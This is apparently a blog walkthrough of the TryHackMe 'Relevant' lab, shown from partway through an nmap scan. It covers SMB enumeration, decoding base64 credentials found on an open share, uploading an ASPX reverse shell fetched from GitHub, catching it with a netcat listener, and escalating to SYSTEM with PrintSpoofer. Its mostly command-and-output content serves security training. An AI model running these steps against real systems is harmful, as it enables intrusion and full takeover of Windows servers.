    |   DNS_Domain_Name: Relevant
    |   DNS_Computer_Name: Relevant
    |   Product_Version: 10.0.14393
    |_  System_Time: 2022-03-17T05:53:20+00:00
    Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    |_clock-skew: mean: 1h24m00s, deviation: 3h07m51s, median: 0s
    | smb2-time: 
    |   date: 2022-03-17T05:53:20
    |_  start_date: 2022-03-17T05:14:03
    | smb-security-mode: 
    |   account_used: guest
    |   authentication_level: user
    |   challenge_response: supported
    |_  message_signing: disabled (dangerous, but default)
    | smb2-security-mode: 
    |   3.1.1: 
    |_    Message signing enabled but not required
    | smb-os-discovery: 
    |   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
    |   Computer name: Relevant
    |   NetBIOS computer name: RELEVANT\x00
    |   Workgroup: WORKGROUP\x00
    |_  System time: 2022-03-16T22:53:20-07:00
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 74.72 seconds
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    
    
    
    
    
    
    
    
    

    Then we will enumerating with enum4linux but unfortunately we get nothing from it..but we will keep trying.



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ enum4linux 10.10.220.229              
    Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Mar 17 10:47:18 2022
    
     ========================== 
    |    Target Information    |
     ========================== 
    Target ........... 10.10.220.229
    RID Range ........ 500-550,1000-1050
    Username ......... ''
    Password ......... ''
    Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
    
    
     ===================================================== 
    |    Enumerating Workgroup/Domain on 10.10.220.229    |
     ===================================================== 
    [E] Can't find workgroup/domain
    
    
     ============================================= 
    |    Nbtstat Information for 10.10.220.229    |
     ============================================= 
    Looking up status of 10.10.220.229
    No reply from 10.10.220.229
    
     ====================================== 
    |    Session Check on 10.10.220.229    |
     ====================================== 
    Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
    [E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests.
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$                                                                                                                                                                                     1 ⨯
    
    



    you can also enumerate with nmap samba enumeration

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ nmap -p 139,445 -Pn --script smb-enum* 10.10.220.229
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-17 12:31 IST
    Nmap scan report for 10.10.220.229
    Host is up (0.35s latency).
    
    PORT    STATE SERVICE
    139/tcp open  netbios-ssn
    445/tcp open  microsoft-ds
    
    Host script results:
    | smb-enum-shares: 
    |   account_used: guest
    |   \\10.10.220.229\ADMIN$: 
    |     Type: STYPE_DISKTREE_HIDDEN
    |     Comment: Remote Admin
    |     Anonymous access: <none>
    |     Current user access: <none>
    |   \\10.10.220.229\C$: 
    |     Type: STYPE_DISKTREE_HIDDEN
    |     Comment: Default share
    |     Anonymous access: <none>
    |     Current user access: <none>
    |   \\10.10.220.229\IPC$: 
    |     Type: STYPE_IPC_HIDDEN
    |     Comment: Remote IPC
    |     Anonymous access: <none>
    |     Current user access: READ/WRITE
    |   \\10.10.220.229\nt4wrksv: 
    |     Type: STYPE_DISKTREE
    |     Comment: 
    |     Anonymous access: <none>
    |_    Current user access: READ/WRITE
    | smb-enum-sessions: 
    |_  <nobody>
    
    Nmap done: 1 IP address (1 host up) scanned in 97.83 seconds
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    
    
    



    Also read-

     

    TryHackMe relevant penetration testing walkthrough

     Click Here



    We are visiting the web service (port 80), we check the source code and robots.txt, it seems that there is nothing useful.



    TryHackMe relevant penetration testing walkthrough


    Network share


    Let’s start with the network share. Listing the shares reveals the presence of nt4wrksv.


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$  smbclient -L //10.10.220.229
    Enter WORKGROUP\kali's password: 
    
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        nt4wrksv        Disk      
    SMB1 disabled -- no workgroup available
    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    
    
    


    Connecting to this share reveals a password file:


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ sudo smbclient //10.10.220.229/nt4wrksv
    Enter WORKGROUP\root's password: 
    Try "help" to get a list of possible commands.
    smb: \> dir
      .                                   D        0  Sun Jul 26 03:16:04 2020
      ..                                  D        0  Sun Jul 26 03:16:04 2020
      passwords.txt                       A       98  Sat Jul 25 20:45:33 2020
    
                    7735807 blocks of size 4096. 4922488 blocks available
    smb: \> get passwords.txt
    getting file \passwords.txt of size 98 as passwords.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
    smb: \> #www.hackingtruth.org
    
    
    
    

     

    The file contains base64 encoded credentials, We decode the file and we found credentials.


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ ls
    content.txt  passwords.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ cat passwords.txt
    [User Passwords - Encoded]
    Qm9iIC0gIVBAJCRXMHJEITEyMw==
    QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk                                                                                                                                                    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    
    


    For decoding this one, you can use many types of method like online, offline, via terminal, etc. But we will hURL tool. So, first install it and then you can use it. 

     

     

    Also read-

     

    TryHackMe relevant penetration testing walkthrough

     Click Here

     


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ sudo apt-get install hurl 
    
    Reading package lists... Done
    Building dependency tree... Done
    Reading state information... Done
    The following packages were automatically installed and are no longer required:
      libblkid-dev libglib2.0-dev-bin libmount-dev libpcre16-3 libpcre2-dev libpcre2-posix3 libpcre3-dev libpcre32-3 libpcrecpp0v5 libselinux1-dev libsepol-dev mypaint-brushes mypaint-data
      mypaint-data-extras uuid-dev
    Use 'sudo apt autoremove' to remove them.
    The following NEW packages will be installed:
      hurl
    0 upgraded, 1 newly installed, 0 to remove and 903 not upgraded.
    Need to get 19.5 kB of archives.
    After this operation, 191 kB of additional disk space will be used.
    Get:1 http://ftp.harukasan.org/kali kali-rolling/main amd64 hurl all 2.1-0kali2 [19.5 kB]
    Fetched 19.5 kB in 14s (1,432 B/s)
    Selecting previously unselected package hurl.
    (Reading database ... 431755 files and directories currently installed.)
    Preparing to unpack .../hurl_2.1-0kali2_all.deb ...
    Unpacking hurl (2.1-0kali2) ...
    Setting up hurl (2.1-0kali2) ...
    Processing triggers for kali-menu (2021.4.2) ...
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ hURL -b "Qm9iIC0gIVBAJCRXMHJEITEyMw=="
    
    Original string       :: Qm9iIC0gIVBAJCRXMHJEITEyMw==                                                                                                                                       
    base64 DEcoded string :: Bob - !P@$$W0rD!123
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    
    
    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ hURL -b "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk"
    
    Original string       :: QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk                                                                                                                           
    base64 DEcoded string :: Bill - Juw4nnaM4n420696969!$$$
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    
    
    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d            
    Bob - !P@$$W0rD!123                                                                                                                                                                         ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ #www.kumaratuljaiswal.in    #www.hackingtruth.in
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d
    Bill - Juw4nnaM4n420696969!$$$                                                                                                                                                              ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$                          
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d;echo""
    Bill - Juw4nnaM4n420696969!$$$
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d;echo""            
    Bob - !P@$$W0rD!123
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    
    
    
    
    

    Is an hour of use of smbmap with credentials found. We view can writing in share “nt4wrksv“.


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ smbmap -H 10.10.220.229 -u bob -p '!P@$$W0rD!123'
    [+] IP: 10.10.220.229:445       Name: 10.10.220.229                                     
            Disk                                                    Permissions     Comment
            ----                                                    -----------     -------
            ADMIN$                                                  NO ACCESS       Remote Admin
            C$                                                      NO ACCESS       Default share
            IPC$                                                    READ ONLY       Remote IPC
            nt4wrksv                                                READ, WRITE
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ 
    
    
    
    
    


    Also read-

     

     

    TryHackMe relevant penetration testing walkthrough

     Click Here

     

     

     

    We are testing access the directory in different webservice, we enumerate of the correct SAMBA webservice in running port 49663.



    TryHackMe relevant penetration testing walkthrough



    Exploiting


    We upload a “shell.aspx“, this is a webshell for execute commands from browser.

    Click Here for Shell...


    But first download shell.aspx


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ sudo wget https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx
    [sudo] password for hackerboy: 
    --2022-03-18 12:33:57--  https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx
    Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 2606:50c0:8003::154, 2606:50c0:8000::154, 2606:50c0:8001::154, ...
    Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|2606:50c0:8003::154|:443... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 15968 (16K) [text/plain]
    Saving to: ‘shell.aspx’
    
    shell.aspx                                     100%[====================================================================================================>]  15.59K  --.-KB/s    in 0.002s  
    
    2022-03-18 12:34:04 (9.54 MB/s) - ‘shell.aspx.1’ saved [15968/15968]
    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$
    
    
    



    After downloading this shell.aspx, change this IP and port number with your (Attacker) machine IP address.



    TryHackMe relevant penetration testing walkthrough



    Now we can upload this shell in samba network via this command:

    sudo smbclient //10.10.177.40/nt4wrksv -u bob -p


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ sudo smbclient //10.10.177.40/nt4wrksv -u bob -p
    Try "help" to get a list of possible commands.
    smb: \> dir
      .                                   D        0  Sun Jul 26 03:16:04 2020
      ..                                  D        0  Sun Jul 26 03:16:04 2020
      passwords.txt                       A       98  Sat Jul 25 20:45:33 2020
    
                    7735807 blocks of size 4096. 4951344 blocks available
    smb: \> put shell.aspx
    putting file shell.aspx as \shell.aspx (1.1 kb/s) (average 1.1 kb/s)
    smb: \> 
    



    then we will run this url on browser and get a reverse shell via this command: 


    10.10.162.140:49663/nt4wrksv/shell.aspx (this IP is belong to vulnerable machine)

    then run this command in our terminal

    nc -nvlp 4444


    after connecting reverse shell with your system then we will find user flag, so i searched it in every directory/file and finally i found this...so, i recommend you first find it yourself.


    User-flag


    TryHackMe relevant penetration testing walkthrough


    Privilege Escalation (NT AUTHORITY\SYSTEM) (Root Flag)

    We execute of command “whoami /priv” and we see that we have permission in privilege “SeImpersonatePrivilege” of the system.


    c:\Users\Bob\Desktop>whoami /priv           
    whoami /priv
    
    PRIVILEGES INFORMATION
    ----------------------
    
    Privilege Name                Description                               State   
    ============================= ========================================= ========
    SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
    SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
    SeAuditPrivilege              Generate security audits                  Disabled
    SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
    SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
    SeCreateGlobalPrivilege       Create global objects                     Enabled 
    SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
    
    c:\Users\Bob\Desktop> 
     

     

     

    I started to Google the abuse of this privilege in Windows 2016, I found this github that worked for me (after several xD attempts).

     


    PrintSpoofer


    To exploit this impersonation privilege, the standard potato exploit won’t work, and we’ll use a new tool called PrintSpoofer.


    First we will download a PrintSpoofer.exe file for get a administrator power in windows...

    Click Here


    Then we will put PrintSpoofer in samba network..


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ sudo smbclient //10.10.177.40/nt4wrksv -u bob -p
    Try "help" to get a list of possible commands.
    smb: \> dir
      .                                   D        0  Sun Jul 26 03:16:04 2020
      ..                                  D        0  Sun Jul 26 03:16:04 2020
      passwords.txt                       A       98  Sat Jul 25 20:45:33 2020
    
                    7735807 blocks of size 4096. 4951344 blocks available
    smb: \>
    smb: \> put PrintSpoofer.exe
    putting file PrintSpoofer.exe as \PrintSpoofer.exe (8.7 kb/s) (average 7.1 kb/s)
    smb: \> 
    smb: \> dir
      .                                   D        0  Fri Mar 18 12:52:00 2022
      ..                                  D        0  Fri Mar 18 12:52:00 2022
      passwords.txt                       A       98  Sat Jul 25 20:45:33 2020
      PrintSpoofer.exe                    A    27136  Fri Mar 18 12:52:02 2022
      shell.aspx                          A    15990  Fri Mar 18 12:38:30 2022
    
                    7735807 blocks of size 4096. 4946925 blocks available
    smb: \> 
    
    
    




    c:\inetpub\wwwroot\nt4wrksv>dir
    dir
     Volume in drive C has no label.
     Volume Serial Number is AC3C-5CB5
    
     Directory of c:\inetpub\wwwroot\nt4wrksv
    
    03/18/2022  12:22 AM    <DIR>          .
    03/18/2022  12:22 AM    <DIR>          ..
    07/25/2020  08:15 AM                98 passwords.txt
    03/18/2022  12:22 AM            27,136 PrintSpoofer.exe
    03/18/2022  12:08 AM            15,990 shell.aspx
                   3 File(s)         43,224 bytes
                   2 Dir(s)  20,228,485,120 bytes free
    
    c:\inetpub\wwwroot\nt4wrksv>PrintSpoofer -i -c cmd
    PrintSpoofer -i -c cmd
    [+] Found privilege: SeImpersonatePrivilege
    [+] Named pipe listening...
    [+] CreateProcessAsUser() OK
    Microsoft Windows [Version 10.0.14393]
    (c) 2016 Microsoft Corporation. All rights reserved.
    
    C:\Windows\system32>               
    
    
    
    
    



    Now, let’s elevate our privileges with printspoofer:


    Root Flag

    C:\Windows\system32>cd /
    cd /
    
    C:\>dir
    dir
     Volume in drive C has no label.
     Volume Serial Number is AC3C-5CB5
    
     Directory of C:\
    
    07/25/2020  08:16 AM    <DIR>           inetpub
    07/25/2020  08:42 AM    <DIR>           Microsoft
    07/16/2016  06:23 AM    <DIR>           PerfLogs
    07/25/2020  08:00 AM    <DIR>           Program Files
    07/25/2020  04:15 PM    <DIR>           Program Files (x86)
    07/25/2020  02:03 PM    <DIR>           Users
    07/25/2020  04:16 PM    <DIR>           Windows
                   0 File(s)              0 bytes
                   7 Dir(s)  20,228,354,048 bytes free
    
    C:\>cd Users
    cd Users
    
    C:\Users>dir
    dir
     Volume in drive C has no label.
     Volume Serial Number is AC3C-5CB5
    
     Directory of C:\Users
    
    07/25/2020  02:03 PM    <DIR>           .
    07/25/2020  02:03 PM    <DIR>           ..
    07/25/2020  08:05 AM    <DIR>           .NET v4.5
    07/25/2020  08:05 AM    <DIR>           .NET v4.5 Classic
    07/25/2020  10:30 AM    <DIR>           Administrator
    07/25/2020  02:03 PM    <DIR>           Bob
    07/25/2020  07:58 AM    <DIR>           Public
                   0 File(s)              0 bytes
                   7 Dir(s)  20,228,354,048 bytes free
    
    C:\Users>cd Administrator
    cd Administrator
    
    C:\Users\Administrator>dir
    dir
     Volume in drive C has no label.
     Volume Serial Number is AC3C-5CB5
    
     Directory of C:\Users\Administrator
    
    07/25/2020  10:30 AM    <DIR>           .
    07/25/2020  10:30 AM    <DIR>           ..
    07/25/2020  07:58 AM    <DIR>           Contacts
    07/25/2020  08:24 AM    <DIR>           Desktop
    07/25/2020  07:58 AM    <DIR>           Documents
    07/25/2020  08:39 AM    <DIR>           Downloads
    07/25/2020  07:58 AM    <DIR>           Favorites
    07/25/2020  07:58 AM    <DIR>           Links
    07/25/2020  07:58 AM    <DIR>           Music
    07/25/2020  07:58 AM    <DIR>           Pictures
    07/25/2020  07:58 AM    <DIR>           Saved Games
    07/25/2020  07:58 AM    <DIR>           Searches
    07/25/2020  07:58 AM    <DIR>           Videos
                   0 File(s)              0 bytes
                  13 Dir(s)  20,226,048,000 bytes free
    
    C:\Users\Administrator>cd Desktop
    cd Desktop
    
    C:\Users\Administrator\Desktop>dir
    dir
     Volume in drive C has no label.
     Volume Serial Number is AC3C-5CB5
    
     Directory of C:\Users\Administrator\Desktop
    
    07/25/2020  08:24 AM    <DIR>           .
    07/25/2020  08:24 AM    <DIR>           ..
    07/25/2020  08:25 AM                35 root.txt
                   1 File(s)             35 bytes
                   2 Dir(s)  20,224,438,272 bytes free
    
    C:\Users\Administrator\Desktop>type root.txt
    type root.txt
    THM{1fk5kf469devly1gl320zafgl345pv}
    C:\Users\Administrator\Desktop>
    
    C:\Users\Administrator\Desktop>hackingtruth.org 
    
    
    
    
    
    
    

    TryHackMe relevant penetration testing walkthrough


    Congratulations we got it :-)




    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.


  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.